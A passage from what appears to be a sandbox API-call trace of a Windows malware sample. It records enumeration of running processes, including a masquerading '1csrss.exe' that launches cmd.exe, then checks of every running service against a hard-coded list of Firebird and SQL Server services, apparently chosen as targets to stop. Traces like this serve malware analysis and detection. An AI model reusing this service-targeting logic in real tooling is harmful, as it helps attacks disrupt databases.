dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0321.019] lstrlenW (lpString="1csrss.exe") returned 10 [0321.019] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.019] lstrlenW (lpString="svchost.exe") returned 11 [0321.019] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0321.020] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0321.020] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0321.021] lstrlenW (lpString="svchost.exe") returned 11 [0321.021] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0321.021] lstrlenW (lpString="dllhost.exe") returned 11 [0321.021] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0321.022] lstrlenW (lpString="dllhost.exe") returned 11 [0321.022] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0321.023] lstrlenW (lpString="1csrss.exe") returned 10 [0321.023] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc50, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0321.023] lstrlenW (lpString="cmd.exe") returned 7 [0321.023] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb88, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0321.024] lstrlenW (lpString="conhost.exe") returned 11 [0321.024] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd88, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0321.025] lstrlenW (lpString="cmd.exe") returned 7 [0321.025] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0321.025] lstrlenW (lpString="conhost.exe") returned 11 [0321.025] Process32NextW (in: hSnapshot=0x380, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xd74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0321.026] CloseHandle (hObject=0x380) returned 1 [0321.026] Sleep (dwMilliseconds=0x1f4) [0321.971] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4e97e8 [0321.971] EnumServicesStatusExW (in: hSCManager=0x4e97e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0 [0321.972] GetLastError () returned 0xea [0321.972] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1de6) returned 0x3e287c8 [0321.972] EnumServicesStatusExW (in: hSCManager=0x4e97e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e287c8, cbBufSize=0x1de6, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e287c8, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1 [0321.972] CloseServiceHandle (hSCObject=0x4e97e8) returned 1 [0321.973] lstrlenW (lpString="Appinfo") returned 7 [0321.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0321.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0321.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0321.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0321.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0321.973] lstrlenW (lpString="AppXSvc") returned 7 [0321.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0321.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0321.973] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0321.973] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0321.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0321.973] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0321.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0321.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0321.973] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0321.973] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0321.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0321.973] lstrlenW (lpString="Audiosrv") returned 8 [0321.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0321.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0321.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0321.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0321.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0321.973] lstrlenW (lpString="BFE") returned 3 [0321.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0321.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0321.973] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0321.973] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0321.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0321.973] lstrlenW (lpString="BITS") returned 4 [0321.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0321.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0321.974] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0321.974] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0321.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0321.974] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0321.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0321.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0321.974] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0321.974] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0321.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0321.974] lstrlenW (lpString="CDPSvc") returned 6 [0321.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0321.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0321.974] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0321.974] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0321.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0321.974] lstrlenW (lpString="ClickToRunSvc") returned 13 [0321.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0321.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0321.974] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0321.974] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0321.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0321.974] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0321.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0321.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0321.974] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0321.974] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0321.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0321.974] lstrlenW (lpString="CryptSvc") returned 8 [0321.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0321.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0321.974] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0321.974] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0321.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0321.975] lstrlenW (lpString="DcomLaunch") returned 10 [0321.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0321.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0321.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0321.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0321.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0321.975] lstrlenW (lpString="DeviceAssociationService") returned 24 [0321.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0321.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0321.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0321.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0321.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0321.975] lstrlenW (lpString="Dhcp") returned 4 [0321.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0321.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0321.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0321.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0321.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0321.975] lstrlenW (lpString="Dnscache") returned 8 [0321.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0321.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0321.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0321.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0321.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0321.975] lstrlenW (lpString="DoSvc") returned 5 [0321.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0321.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0321.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0321.975] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0321.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0321.975] lstrlenW (lpString="DPS") returned 3 [0321.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0321.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0321.975] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0321.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0321.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0321.976] lstrlenW (lpString="DusmSvc") returned 7 [0321.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0321.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0321.976] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0321.976] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0321.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0321.976] lstrlenW (lpString="EventLog") returned 8 [0321.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0321.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0321.976] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0321.976] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0321.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0321.976] lstrlenW (lpString="EventSystem") returned 11 [0321.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0321.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0321.976] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0321.976] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0321.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0321.976] lstrlenW (lpString="FontCache") returned 9 [0321.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0321.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0321.976] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0321.976] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0321.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0321.976] lstrlenW (lpString="gpsvc") returned 5 [0321.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0321.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0321.976] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0321.976] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0321.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0321.976] lstrlenW (lpString="iphlpsvc") returned 8 [0321.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0321.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0321.977] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0321.977] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0321.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0321.977] lstrlenW (lpString="KeyIso") returned 6 [0321.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0321.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0321.977] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0321.977] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0321.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0321.977] lstrlenW (lpString="LanmanServer") returned 12 [0321.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0321.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0321.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0321.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0321.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0321.977] lstrlenW (lpString="LanmanWorkstation") returned 17 [0321.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0321.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0321.977] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0321.977] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0321.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0321.977] lstrlenW (lpString="lfsvc") returned 5 [0321.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0321.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0321.977] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0321.977] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0321.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0321.978] lstrlenW (lpString="lmhosts") returned 7 [0321.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0321.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0321.978] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0321.978] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0321.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0321.978] lstrlenW (lpString="LSM") returned 3 [0321.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0321.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0321.978] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0321.978] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0321.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0321.978] lstrlenW (lpString="MapsBroker") returned 10 [0321.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0321.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0321.978] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0321.978] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0321.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0321.978] lstrlenW (lpString="MpsSvc") returned 6 [0321.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0321.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0321.978] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0321.978] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0321.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0321.978] lstrlenW (lpString="NcbService") returned 10 [0321.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0321.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0321.978] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0321.978] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0321.978] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0321.978] lstrlenW (lpString="netprofm") returned 8 [0321.978] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0321.978] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0321.979] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0321.979] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0321.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0321.979] lstrlenW (lpString="NgcSvc") returned 6 [0321.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0321.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0321.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0321.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0321.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0321.979] lstrlenW (lpString="NlaSvc") returned 6 [0321.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0321.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0321.979] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0321.979] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0321.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0321.979] lstrlenW (lpString="nsi") returned 3 [0321.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0321.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0321.979] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0321.979] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0321.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0321.979] lstrlenW (lpString="PcaSvc") returned 6 [0321.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0321.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0321.979] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0321.979] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0321.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0321.979] lstrlenW (lpString="PlugPlay") returned 8 [0321.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0321.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0321.979] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0321.979] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0321.979] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0321.979] lstrlenW (lpString="Power") returned 5 [0321.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0321.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0321.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0321.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0321.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0321.980] lstrlenW (lpString="ProfSvc") returned 7 [0321.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0321.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0321.980] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0321.980] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0321.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0321.980] lstrlenW (lpString="RpcEptMapper") returned 12 [0321.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0321.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0321.980] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0321.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0321.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0321.980] lstrlenW (lpString="RpcSs") returned 5 [0321.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0321.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0321.980] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0321.980] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0321.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0321.980] lstrlenW (lpString="SamSs") returned 5 [0321.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0321.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0321.980] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0321.980] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0321.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0321.980] lstrlenW (lpString="Schedule") returned 8 [0321.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0321.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0321.980] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0321.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0321.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0321.981] lstrlenW (lpString="SecurityHealthService") returned 21 [0321.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0321.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0321.981] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0321.981] lstrcmpiW 